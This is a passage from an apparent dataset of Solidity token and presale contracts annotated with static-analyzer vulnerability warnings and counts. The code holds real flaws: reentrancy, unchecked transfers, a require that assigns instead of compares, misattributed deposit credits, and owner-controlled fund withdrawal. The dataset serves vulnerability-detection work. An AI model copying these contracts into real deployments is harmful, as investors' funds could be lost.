1a37b67\n\t\t// reentrancy-events | ID: 166f585\n\t\t// reentrancy-benign | ID: f733651\n\t\t// reentrancy-eth | ID: 2326df4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 578fd80): MCAP.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 578fd80: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1a37b67\n\t\t// reentrancy-events | ID: 166f585\n\t\t// reentrancy-eth | ID: 2326df4\n\t\t// arbitrary-send-eth | ID: 578fd80\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f399c18): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f399c18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 58125ff): MCAP.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 58125ff: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8eb640a): MCAP.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 8eb640a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 93d645c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 93d645c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f399c18\n\t\t// reentrancy-eth | ID: 93d645c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f399c18\n\t\t// unused-return | ID: 8eb640a\n\t\t// reentrancy-eth | ID: 93d645c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f399c18\n\t\t// unused-return | ID: 58125ff\n\t\t// reentrancy-eth | ID: 93d645c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f399c18\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 93d645c\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10039.sol",
"size_bytes": 20140,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 511bc06): PreSale.ExcludeAccouctFromMinBuy(address,bool)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for 511bc06: Rename the local variables that shadow another component.\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface Aggregator {\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n\ncontract PreSale is ReentrancyGuard, Ownable {\n uint256 public presaleId;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87c9ac6): PreSale.USDT_MULTIPLIER should be constant \n\t// Recommendation for 87c9ac6: Add the 'constant' attribute to state variables that never change.\n uint256 public USDT_MULTIPLIER = (10 ** 18);\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e86038): PreSale.USDC_MULTIPLIER should be constant \n\t// Recommendation for 1e86038: Add the 'constant' attribute to state variables that never change.\n uint256 public USDC_MULTIPLIER = (10 ** 18);\n\n\t// WARNING Optimization Issue (constable-states | ID: 950eed9): PreSale.ETH_MULTIPLIER should be constant \n\t// Recommendation for 950eed9: Add the 'constant' attribute to state variables that never change.\n uint256 public ETH_MULTIPLIER = (10 ** 18);\n\n address public fundReceiver = 0x2Eee48ae4Ffc10FBAbE48c64F90d76cDafa80B2D;\n\n uint256 public referralReward = 5;\n\n uint256 public totalReferralsDistributed;\n\n mapping(address => uint256) public referralRewards;\n\n struct Presale {\n uint256 startTime;\n uint256 endTime;\n uint256 price;\n uint256 nextStagePrice;\n uint256 Sold;\n uint256 tokensToSell;\n uint256 UsdtHardcap;\n uint256 amountRaised;\n bool Active;\n bool isEnableClaim;\n }\n\n struct ClaimData {\n uint256 claimAt;\n uint256 totalAmount;\n uint256 claimedAmount;\n }\n\n uint256 public silverBonusAmount = 500 * USDT_MULTIPLIER;\n\n uint256 public goldBonusAmount = 1000 * USDT_MULTIPLIER;\n\n struct BonusReward {\n uint256 silver;\n uint256 gold;\n }\n\n BonusReward public bonusReward = BonusReward(5, 10);\n\n IERC20Metadata public USDTInterface =\n IERC20Metadata(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n\n IERC20Metadata public USDCInterface =\n IERC20Metadata(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n\n\t// WARNING Optimization Issue (constable-states | ID: bc491a0): PreSale.aggregatorETHInterface should be constant \n\t// Recommendation for bc491a0: Add the 'constant' attribute to state variables that never change.\n Aggregator internal aggregatorETHInterface =\n Aggregator(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419);\n\n mapping(uint256 => bool) public paused;\n\n mapping(uint256 => Presale) public presale;\n\n mapping(address => mapping(uint256 => ClaimData)) public userClaimData;\n\n mapping(address => bool) public isExcludeMinToken;\n\n uint256 public MinTokenTobuy = 1;\n\n address public SaleToken = 0xe46a1D19962Ea120765D3139c588fFd617bE04A8;\n\n event PresaleCreated(\n uint256 indexed _id,\n uint256 _totalTokens,\n uint256 _startTime,\n uint256 _endTime\n );\n\n event PresaleUpdated(\n bytes32 indexed key,\n uint256 prevValue,\n uint256 newValue,\n uint256 timestamp\n );\n\n event TokensBought(\n address indexed user,\n uint256 indexed id,\n address indexed purchaseToken,\n uint256 tokensBought,\n uint256 amountPaid,\n uint256 timestamp\n );\n\n event TokensClaimed(\n address indexed user,\n uint256 indexed id,\n uint256 amount,\n uint256 timestamp\n );\n\n event PresaleTokenAddressUpdated(\n address indexed prevValue,\n address indexed newValue,\n uint256 timestamp\n );\n\n event PresalePaused(uint256 indexed id, uint256 timestamp);\n\n event PresaleUnpaused(uint256 indexed id, uint256 timestamp);\n\n constructor() {}\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 590da9a): PreSale.ChangeTokenToSell(address)._token lacks a zerocheck on \t SaleToken = _token\n\t// Recommendation for 590da9a: Check that the address is not zero.\n function ChangeTokenToSell(address _token) public onlyOwner {\n\t\t// missing-zero-check | ID: 590da9a\n SaleToken = _token;\n }\n\n function EditMinTokenToBuy(uint256 _amount) public onlyOwner {\n MinTokenTobuy = _amount;\n }\n\n function createPresale(\n uint256 _price,\n uint256 _nextStagePrice,\n uint256 _tokensToSell,\n uint256 _UsdtHardcap\n ) external onlyOwner {\n require(_price > 0, \"Zero price\");\n\n require(_tokensToSell > 0, \"Zero tokens to sell\");\n\n require(presale[presaleId].Active == false, \"Previous Sale is Active\");\n\n presaleId++;\n\n presale[presaleId] = Presale(\n 0,\n 0,\n _price,\n _nextStagePrice,\n 0,\n _tokensToSell,\n _UsdtHardcap,\n 0,\n false,\n false\n );\n\n emit PresaleCreated(presaleId, _tokensToSell, 0, 0);\n }\n\n function startPresale() public onlyOwner {\n presale[presaleId].startTime = block.timestamp;\n\n presale[presaleId].Active = true;\n }\n\n function endPresale() public onlyOwner {\n require(\n presale[presaleId].Active = true,\n \"This presale is already Inactive\"\n );\n\n presale[presaleId].endTime = block.timestamp;\n\n presale[presaleId].Active = false;\n }\n\n function updatePresale(\n uint256 _id,\n uint256 _price,\n uint256 _nextStagePrice,\n uint256 _tokensToSell,\n uint256 _Hardcap\n ) external checkPresaleId(_id) onlyOwner {\n require(_price > 0, \"Zero price\");\n\n require(_tokensToSell > 0, \"Zero tokens to sell\");\n\n presale[_id].price = _price;\n\n presale[_id].nextStagePrice = _nextStagePrice;\n\n presale[_id].tokensToSell = _tokensToSell;\n\n presale[_id].UsdtHardcap = _Hardcap;\n }\n\n function updateBonusRewardAmount(\n uint256 _silver,\n uint256 _gold\n ) external onlyOwner {\n bonusReward.silver = _silver;\n\n bonusReward.gold = _gold;\n }\n\n function updateBonusReward(\n uint256 _silver,\n uint256 _gold\n ) external onlyOwner {\n silverBonusAmount = _silver;\n\n goldBonusAmount = _gold;\n }\n\n function updateReferralReward(uint256 _referralReward) external onlyOwner {\n referralReward = _referralReward;\n }\n\n function updateFromBSCorPolygon(\n address[] calldata _users,\n uint256[] calldata _userDeposits\n ) external onlyOwner {\n require(_users.length == _userDeposits.length, \"Length mismatch\");\n\n for (uint256 i = 0; i < _users.length; i++) {\n if (userClaimData[_users[i]][presaleId].totalAmount > 0) {\n userClaimData[_users[i]][presaleId]\n .totalAmount += _userDeposits[i];\n } else {\n userClaimData[_msgSender()][presaleId] = ClaimData(\n 0,\n _userDeposits[i],\n 0\n );\n }\n }\n }\n\n function changeFundWallet(address _wallet) external onlyOwner {\n require(_wallet != address(0), \"Invalid parameters\");\n\n fundReceiver = _wallet;\n }\n\n function changeUSDTToken(address _newAddress) external onlyOwner {\n require(_newAddress != address(0), \"Zero token address\");\n\n USDTInterface = IERC20Metadata(_newAddress);\n }\n\n function changeUSDCToken(address _newAddress) external onlyOwner {\n require(_newAddress != address(0), \"Zero token address\");\n\n USDCInterface = IERC20Metadata(_newAddress);\n }\n\n function pausePresale(uint256 _id) external checkPresaleId(_id) onlyOwner {\n require(!paused[_id], \"Already paused\");\n\n paused[_id] = true;\n\n emit PresalePaused(_id, block.timestamp);\n }\n\n function unPausePresale(\n uint256 _id\n ) external checkPresaleId(_id) onlyOwner {\n require(paused[_id], \"Not paused\");\n\n paused[_id] = false;\n\n emit PresaleUnpaused(_id, block.timestamp);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0c52e86): PreSale.getLatestETHPrice() ignores return value by (None,price,None,None,None) = aggregatorETHInterface.latestRoundData()\n\t// Recommendation for 0c52e86: Ensure that all the return values of the function calls are used.\n function getLatestETHPrice() public view returns (uint256) {\n\t\t// unused-return | ID: 0c52e86\n (, int256 price, , , ) = aggregatorETHInterface.latestRoundData();\n\n price = (price * (10 ** 10));\n\n return uint256(price);\n }\n\n modifier checkPresaleId(uint256 _id) {\n require(_id > 0 && _id <= presaleId, \"Invalid presale id\");\n\n _;\n }\n\n modifier checkSaleState(uint256 _id, uint256 amount) {\n require(\n block.timestamp >= presale[_id].startTime &&\n presale[_id].Active == true,\n \"Invalid time for buying\"\n );\n\n require(\n amount > 0 &&\n amount <= presale[_id].tokensToSell - presale[_id].Sold,\n \"Invalid sale amount\"\n );\n\n _;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 511bc06): PreSale.ExcludeAccouctFromMinBuy(address,bool)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for 511bc06: Rename the local variables that shadow another component.\n function ExcludeAccouctFromMinBuy(\n address _user,\n bool _status\n ) external onlyOwner {\n isExcludeMinToken[_user] = _status;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9f8d93e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9f8d93e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyWithUSDT(\n uint256 usdAmount,\n address referrer\n )\n external\n checkPresaleId(presaleId)\n checkSaleState(presaleId, usdtToTokens(presaleId, usdAmount))\n returns (bool)\n {\n require(!paused[presaleId], \"Presale paused\");\n\n require(presale[presaleId].Active == true, \"Presale is not active yet\");\n\n require(\n presale[presaleId].amountRaised + usdAmount <=\n presale[presaleId].UsdtHardcap,\n \"Amount should be less than leftHardcap\"\n );\n\n uint256 tokens = usdtToTokens(presaleId, usdAmount);\n\n presale[presaleId].Sold += tokens;\n\n presale[presaleId].amountRaised += usdAmount;\n\n if (isExcludeMinToken[msg.sender] == false) {\n require(tokens >= MinTokenTobuy, \"Less than min amount\");\n }\n\n if (usdAmount >= silverBonusAmount && usdAmount < goldBonusAmount) {\n uint256 silverBonusReward = (tokens * bonusReward.silver) / 100;\n\n tokens = tokens + silverBonusReward;\n }\n\n if (usdAmount >= goldBonusAmount) {\n uint256 goldBonusReward = (tokens * bonusReward.gold) / 100;\n\n tokens = tokens + goldBonusReward;\n }\n\n if (\n referrer != address(0) &&\n referrer != msg.sender &&\n userClaimData[referrer][presaleId].totalAmount > 0\n ) {\n uint256 reward = (tokens * referralReward) / 100;\n\n referralRewards[referrer] += reward;\n\n tokens = tokens + reward;\n\n totalReferralsDistributed += reward;\n }\n\n if (userClaimData[_msgSender()][presaleId].totalAmount > 0) {\n userClaimData[_msgSender()][presaleId].totalAmount += tokens;\n } else {\n userClaimData[_msgSender()][presaleId] = ClaimData(0, tokens, 0);\n }\n\n uint256 ourAllowance = USDTInterface.allowance(\n _msgSender(),\n address(this)\n );\n\n require(usdAmount <= ourAllowance, \"Make sure to add enough allowance\");\n\n\t\t// reentrancy-events | ID: 9f8d93e\n (bool success, ) = address(USDTInterface).call(\n abi.encodeWithSignature(\n \"transferFrom(address,address,uint256)\",\n _msgSender(),\n fundReceiver,\n usdAmount\n )\n );\n\n require(success, \"Token payment failed\");\n\n\t\t// reentrancy-events | ID: 9f8d93e\n emit TokensBought(\n _msgSender(),\n presaleId,\n address(USDTInterface),\n tokens,\n usdAmount,\n block.timestamp\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d62b791): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d62b791: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyWithUSDC(\n uint256 usdAmount,\n address referrer\n )\n external\n checkPresaleId(presaleId)\n checkSaleState(presaleId, usdtToTokens(presaleId, usdAmount))\n returns (bool)\n {\n require(!paused[presaleId], \"Presale paused\");\n\n require(presale[presaleId].Active == true, \"Presale is not active yet\");\n\n require(\n presale[presaleId].amountRaised + usdAmount <=\n presale[presaleId].UsdtHardcap,\n \"Amount should be less than leftHardcap\"\n );\n\n uint256 tokens = usdtToTokens(presaleId, usdAmount);\n\n presale[presaleId].Sold += tokens;\n\n presale[presaleId].amountRaised += usdAmount;\n\n if (isExcludeMinToken[msg.sender] == false) {\n require(tokens >= MinTokenTobuy, \"Less than min amount\");\n }\n\n if (usdAmount >= silverBonusAmount && usdAmount < goldBonusAmount) {\n uint256 silverBonusReward = (tokens * bonusReward.silver) / 100;\n\n tokens = tokens + silverBonusReward;\n }\n\n if (usdAmount >= goldBonusAmount) {\n uint256 goldBonusReward = (tokens * bonusReward.gold) / 100;\n\n tokens = tokens + goldBonusReward;\n }\n\n if (\n referrer != address(0) &&\n referrer != msg.sender &&\n userClaimData[referrer][presaleId].totalAmount > 0\n ) {\n uint256 reward = (tokens * referralReward) / 100;\n\n referralRewards[referrer] += reward;\n\n tokens = tokens + reward;\n\n totalReferralsDistributed += reward;\n }\n\n if (userClaimData[_msgSender()][presaleId].totalAmount > 0) {\n userClaimData[_msgSender()][presaleId].totalAmount += tokens;\n } else {\n userClaimData[_msgSender()][presaleId] = ClaimData(0, tokens, 0);\n }\n\n uint256 ourAllowance = USDCInterface.allowance(\n _msgSender(),\n address(this)\n );\n\n require(usdAmount <= ourAllowance, \"Make sure to add enough allowance\");\n\n\t\t// reentrancy-events | ID: d62b791\n (bool success, ) = address(USDCInterface).call(\n abi.encodeWithSignature(\n \"transferFrom(address,address,uint256)\",\n _msgSender(),\n fundReceiver,\n usdAmount\n )\n );\n\n require(success, \"Token payment failed\");\n\n\t\t// reentrancy-events | ID: d62b791\n emit TokensBought(\n _msgSender(),\n presaleId,\n address(USDTInterface),\n tokens,\n usdAmount,\n block.timestamp\n );\n\n return true;\n }\n\n function buyWithEth(\n address referrer\n )\n external\n payable\n checkPresaleId(presaleId)\n checkSaleState(presaleId, ethToTokens(presaleId, msg.value))\n nonReentrant\n returns (bool)\n {\n uint256 usdAmount = (msg.value *\n getLatestETHPrice() *\n USDT_MULTIPLIER) / (ETH_MULTIPLIER * ETH_MULTIPLIER);\n\n require(\n presale[presaleId].amountRaised + usdAmount <=\n presale[presaleId].UsdtHardcap,\n \"Amount should be less than leftHardcap\"\n );\n\n require(!paused[presaleId], \"Presale paused\");\n\n require(presale[presaleId].Active == true, \"Presale is not active yet\");\n\n uint256 tokens = usdtToTokens(presaleId, usdAmount);\n\n if (isExcludeMinToken[msg.sender] == false) {\n require(tokens >= MinTokenTobuy, \"Insufficient amount!\");\n }\n\n if (usdAmount >= silverBonusAmount && usdAmount < goldBonusAmount) {\n uint256 silverBonusReward = (tokens * bonusReward.silver) / 100;\n\n tokens = tokens + silverBonusReward;\n }\n\n if (usdAmount >= goldBonusAmount) {\n uint256 goldBonusReward = (tokens * bonusReward.gold) / 100;\n\n tokens = tokens + goldBonusReward;\n }\n\n if (\n referrer != address(0) &&\n referrer != msg.sender &&\n userClaimData[referrer][presaleId].totalAmount > 0\n ) {\n uint256 reward = (tokens * referralReward) / 100;\n\n referralRewards[referrer] += reward;\n\n tokens = tokens + reward;\n\n totalReferralsDistributed += reward;\n }\n\n presale[presaleId].Sold += tokens;\n\n presale[presaleId].amountRaised += usdAmount;\n\n if (userClaimData[_msgSender()][presaleId].totalAmount > 0) {\n userClaimData[_msgSender()][presaleId].totalAmount += tokens;\n } else {\n userClaimData[_msgSender()][presaleId] = ClaimData(0, tokens, 0);\n }\n\n sendValue(payable(fundReceiver), msg.value);\n\n emit TokensBought(\n _msgSender(),\n presaleId,\n address(0),\n tokens,\n msg.value,\n block.timestamp\n );\n\n return true;\n }\n\n function ethBuyHelper(\n uint256 _id,\n uint256 amount\n ) external view checkPresaleId(_id) returns (uint256 ethAmount) {\n uint256 usdPrice = (amount * presale[_id].price);\n\n ethAmount =\n (usdPrice * ETH_MULTIPLIER) /\n (getLatestETHPrice() * 10 ** IERC20Metadata(SaleToken).decimals());\n }\n\n function usdtBuyHelper(\n uint256 _id,\n uint256 amount\n ) external view checkPresaleId(_id) returns (uint256 usdPrice) {\n usdPrice =\n (amount * presale[_id].price) /\n 10 ** IERC20Metadata(SaleToken).decimals();\n }\n\n function ethToTokens(\n uint256 _id,\n uint256 amount\n ) public view returns (uint256 _tokens) {\n uint256 usdAmount = (amount * getLatestETHPrice() * USDT_MULTIPLIER) /\n (ETH_MULTIPLIER * ETH_MULTIPLIER);\n\n _tokens = usdtToTokens(_id, usdAmount);\n }\n\n function usdtToTokens(\n uint256 _id,\n uint256 amount\n ) public view checkPresaleId(_id) returns (uint256 _tokens) {\n _tokens = (amount * presale[_id].price) / USDT_MULTIPLIER;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Low balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(success, \"ETH Payment failed\");\n }\n\n function claimableAmount(\n address user,\n uint256 _id\n ) public view checkPresaleId(_id) returns (uint256) {\n ClaimData memory _user = userClaimData[user][_id];\n\n require(_user.totalAmount > 0, \"Nothing to claim\");\n\n uint256 amount = _user.totalAmount - _user.claimedAmount;\n\n require(amount > 0, \"Already claimed\");\n\n return amount;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 76a1256): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 76a1256: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function claimAmount(\n uint256 _id\n ) internal checkPresaleId(_id) returns (bool) {\n uint256 amount = claimableAmount(msg.sender, _id);\n\n require(amount > 0, \"Zero claim amount\");\n\n require(SaleToken != address(0), \"Presale token address not set\");\n\n require(\n amount <= IERC20(SaleToken).balanceOf(address(this)),\n \"Not enough tokens in the contract\"\n );\n\n userClaimData[msg.sender][_id].claimAt = block.timestamp;\n\n userClaimData[msg.sender][_id].claimedAmount += amount;\n\n\t\t// reentrancy-events | ID: 76a1256\n bool status = IERC20(SaleToken).transfer(msg.sender, amount);\n\n require(status, \"Token transfer failed\");\n\n\t\t// reentrancy-events | ID: 76a1256\n emit TokensClaimed(msg.sender, _id, amount, block.timestamp);\n\n return true;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: caed266): PreSale.WithdrawTokens(address,uint256) ignores return value by IERC20(_token).transfer(fundReceiver,amount)\n\t// Recommendation for caed266: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function WithdrawTokens(address _token, uint256 amount) external onlyOwner {\n\t\t// unchecked-transfer | ID: caed266\n IERC20(_token).transfer(fundReceiver, amount);\n }\n\n function WithdrawContractFunds(uint256 amount) external onlyOwner {\n sendValue(payable(fundReceiver), amount);\n }\n}\n",
"file_name": "solidity_code_1004.sol",
"size_bytes": 29526,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event 